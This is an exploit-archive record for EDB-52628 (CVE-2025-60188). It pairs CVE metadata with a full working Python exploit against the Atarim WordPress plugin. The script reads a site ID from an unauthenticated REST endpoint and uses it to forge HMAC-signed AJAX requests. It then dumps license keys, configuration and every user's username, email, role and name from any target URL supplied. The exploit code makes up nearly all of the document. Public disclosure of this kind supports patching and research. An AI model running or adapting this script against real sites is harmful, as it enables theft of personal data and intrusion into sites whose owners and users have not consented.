{"exploit":{"id":"EDB-52628","name":"Atarim WordPress Plugin 4.2.2 - Sensitive Information Exposure","description":"Atarim WordPress Plugin 4.2.2 - Sensitive Information Exposure","cves":["CVE-2025-60188"],"author":"Mohammad Hossein Sadeghian","published":"2026-07-08","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52628","path":"exploits/multiple/webapps/52628.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52628.py","vulnerabilities":[{"id":"CVE-2025-60188","state":"PUBLISHED","title":"WordPress Atarim plugin <= 4.2.1 - Sensitive Data Exposure vulnerability","titleSource":"CVE Program","description":"Insertion of Sensitive Information Into Sent Data vulnerability in Vito Peleg Atarim atarim-visual-collaboration allows Retrieve Embedded Sensitive Data.This issue affects Atarim: from n/a through <= 4.2.1.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2025-60188","cvss":{"version":"3.1","baseScore":7.5,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","source":"Patchstack","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-60188"},"updatedAt":"2026-04-28T16:13:57.069Z","retrievedAt":"2026-11-25T16:13:47.385Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52628.png?v=2","url":"https://exploitbin.com/exploits/EDB-52628","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52628/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52628/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Atarim WordPress Plugin  4.2.2 - Sensitive Information Exposure\n# Google Dork: N/A\n# Date: 2026-07-05\n# Exploit Author: Mohammad Hossein Sadeghian\n# Vendor Homepage: https://atarim.io/\n# Software Link: https://wordpress.org/plugins/atarim/\n# Version: < 4.2.2\n# Tested on: Ubuntu 22.04 LTS, Apache 2.4, PHP 8.2, WordPress 6.7\n# CVE: CVE-2025-60188\n\n\nimport requests\nimport hashlib\nimport hmac\nimport json\nimport sys\nimport urllib3\nimport re\nimport time\n\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\ndef print_banner():\n    banner = r\"\"\"\n    ____                      __   _   __     __\n   / __ \\________  ____ _____/ /  / | / /__  / /_\n  / / / / ___/ _ \\/ __ \\/ __  /  /  |/ / _ \\/ __/\n / /_/ / /  /  __/ /_/ / /_/ /  / /|  /  __/ /_\n/_____/_/   \\___/\\__,_/\\__,_/  /_/ |_/\\___/\\__/\n\nAuthor: m4sh_wacker\n    \"\"\"\n    print(banner)\n\nclass Colors:\n    HEADER = '\\033[95m'\n    BLUE = '\\033[94m'\n    CYAN = '\\033[96m'\n    GREEN = '\\033[92m'\n    FAIL = '\\033[91m'\n    WARNING = '\\033[93m'\n    ENDC = '\\033[0m'\n    BOLD = '\\033[1m'\n\nclass AtarimUltimateExploit:\n    def __init__(self, target):\n        self.target = target.rstrip('/')\n        self.site_id = None\n        self.ajax_url = f\"{self.target}/wp-admin/admin-ajax.php\"\n        self.rest_url = f\"{self.target}/wp-json/atarim/v1/db/vc\"\n\n        self.headers = {\n            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36',\n            'Content-Type': 'application/x-www-form-urlencoded',\n            'Accept': '*/*'\n        }\n\n    def step_1_steal_id(self):\n        print(f\"{Colors.BLUE}[*] Connecting to target to extract Site ID...{Colors.ENDC}\")\n        try:\n            r = requests.get(self.rest_url, headers=self.headers, verify=False, timeout=15)\n\n            match = re.search(r'\"wpf_site_id\":\"(\\d+)\"', r.text)\n            if match:\n                self.site_id = match.group(1)\n                print(f\"{Colors.GREEN}[+] TARGET INFECTED! Site ID Found: {self.site_id}{Colors.ENDC}\\n\")\n                return True\n\n            print(f\"{Colors.FAIL}[-] Exploit Failed. Site ID not found in response.{Colors.ENDC}\")\n            return False\n        except Exception as e:\n            print(f\"{Colors.FAIL}[-] Connection Error: {e}{Colors.ENDC}\")\n            return False\n\n    def send_signed_request(self, action_name):\n        if not self.site_id: return None\n\n        reference = \"sys_admin_check\"\n\n        signature = hmac.new(\n            key=self.site_id.encode('utf-8'),\n            msg=reference.encode('utf-8'),\n            digestmod=hashlib.sha256\n        ).hexdigest()\n\n        auth_headers = self.headers.copy()\n        auth_headers.update({\n            'Request-Reference': reference,\n            'Request-Signature': signature\n        })\n\n        try:\n            r = requests.post(\n                self.ajax_url,\n                data={'action': action_name},\n                headers=auth_headers,\n                verify=False,\n                timeout=20\n            )\n\n            if r.status_code == 200:\n                try:\n                    return r.json()\n                except:\n                    return None\n            return None\n        except:\n            return None\n\n    def run_exploit(self):\n        if not self.step_1_steal_id():\n            return\n\n\n        print(f\"{Colors.HEADER}{'='*100}\")\n        print(f\" 1. SYSTEM INTELLIGENCE (CONFIG & KEYS)\")\n        print(f\"{'='*100}{Colors.ENDC}\")\n\n        details = self.send_signed_request('wpf_website_details')\n\n        if details and isinstance(details, dict):\n            print(f\" {Colors.CYAN}Target URL:{Colors.ENDC}     {details.get('url', 'N/A')}\")\n            print(f\" {Colors.CYAN}Site Name:{Colors.ENDC}      {details.get('name', 'N/A')}\")\n\n            license_key = details.get('wpf_license_key')\n            if license_key and str(license_key).lower() != 'false':\n                 print(f\" {Colors.CYAN}License Key:{Colors.ENDC}    {Colors.FAIL}{license_key} (LEAKED!){Colors.ENDC}\")\n            else:\n                 print(f\" {Colors.CYAN}License Key:{Colors.ENDC}    {Colors.WARNING}Not Found / Free Version{Colors.ENDC}\")\n\n            print(f\"\\n {Colors.BOLD}[Internal Configurations]{Colors.ENDC}\")\n            settings = details.get('settings', [])\n            for s in settings:\n                k = s.get('name', '').replace('wpf_', '').replace('_', ' ').title()\n                v = str(s.get('value', ''))\n\n                if '@' in v or 'admin' in v.lower():\n                    v = f\"{Colors.GREEN}{v}{Colors.ENDC}\"\n\n                print(f\"   - {k:<30} : {v}\")\n        else:\n            print(f\"{Colors.FAIL}   [-] Failed to dump system config.{Colors.ENDC}\")\n\n        time.sleep(1)\n\n\n        print(f\"\\n{Colors.HEADER}{'='*100}\")\n        print(f\" 2. COMPROMISED ACCOUNTS (FULL PII DUMP)\")\n        print(f\"{'='*100}{Colors.ENDC}\")\n\n        users = self.send_signed_request('wpf_website_users')\n\n        if users and isinstance(users, list):\n\n            header = \"{:<5} | {:<15} | {:<20} | {:<30} | {:<15} | {:<15}\".format(\n                \"ID\", \"ROLE\", \"USERNAME\", \"EMAIL\", \"FIRST NAME\", \"LAST NAME\"\n            )\n            print(f\"{Colors.BOLD}{header}{Colors.ENDC}\")\n            print(\"-\" * 110)\n\n            for u in users:\n                uid = str(u.get('wpf_id', '-'))\n                role = u.get('role', 'none')\n                uname = u.get('wpf_name', 'unknown')\n                email = u.get('wpf_email', 'unknown')\n                fname = u.get('first_name', '')\n                lname = u.get('last_name', '')\n\n                c_start = \"\"\n                c_end = \"\"\n                if 'admin' in role.lower():\n                    c_start = Colors.FAIL\n                    c_end = Colors.ENDC\n\n                print(f\"{c_start}{uid:<5} | {role:<15} | {uname:<20} | {email:<30} | {fname:<15} | {lname:<15}{c_end}\")\n\n                known_cols = [\n                    'wpf_id', 'role', 'wpf_name', 'wpf_email',\n                    'first_name', 'last_name', 'is_admin',\n                    'wpf_display_name', 'wpf_user_avatar'\n                ]\n\n                extras = {k: v for k, v in u.items() if k not in known_cols and v}\n\n                if extras:\n                    for k, v in extras.items():\n                        print(f\"      {Colors.WARNING}-> {k}: {v}{Colors.ENDC}\")\n\n            print(f\"\\n{Colors.GREEN}[+] Total Users Extracted: {len(users)}{Colors.ENDC}\")\n        else:\n            print(f\"{Colors.FAIL}   [-] No users found or Access Denied.{Colors.ENDC}\")\n\n        print(f\"\\n{Colors.HEADER}{'='*100}\")\n        print(f\" EXPLOIT FINISHED\")\n        print(f\"{'='*100}{Colors.ENDC}\")\n\nif __name__ == \"__main__\":\n    print_banner()\n    target_site = input(f\"{Colors.BOLD}Enter Target Site URL (e.g., https://example.com): {Colors.ENDC}\").strip()\n    if len(sys.argv) > 1:\n        target_site = sys.argv[1]\n\n    exploit = AtarimUltimateExploit(target_site)\n\n    exploit.run_exploit()","sha256":"b5fd2594b81bfb8082a7d941170f5a5cfb5a66d8acf0dea31cfa72e82e93cb54","bytes":6992,"fetchedAt":"2026-11-26T08:55:54.139Z","encoding":"utf-8 (display only; download retains original bytes)"}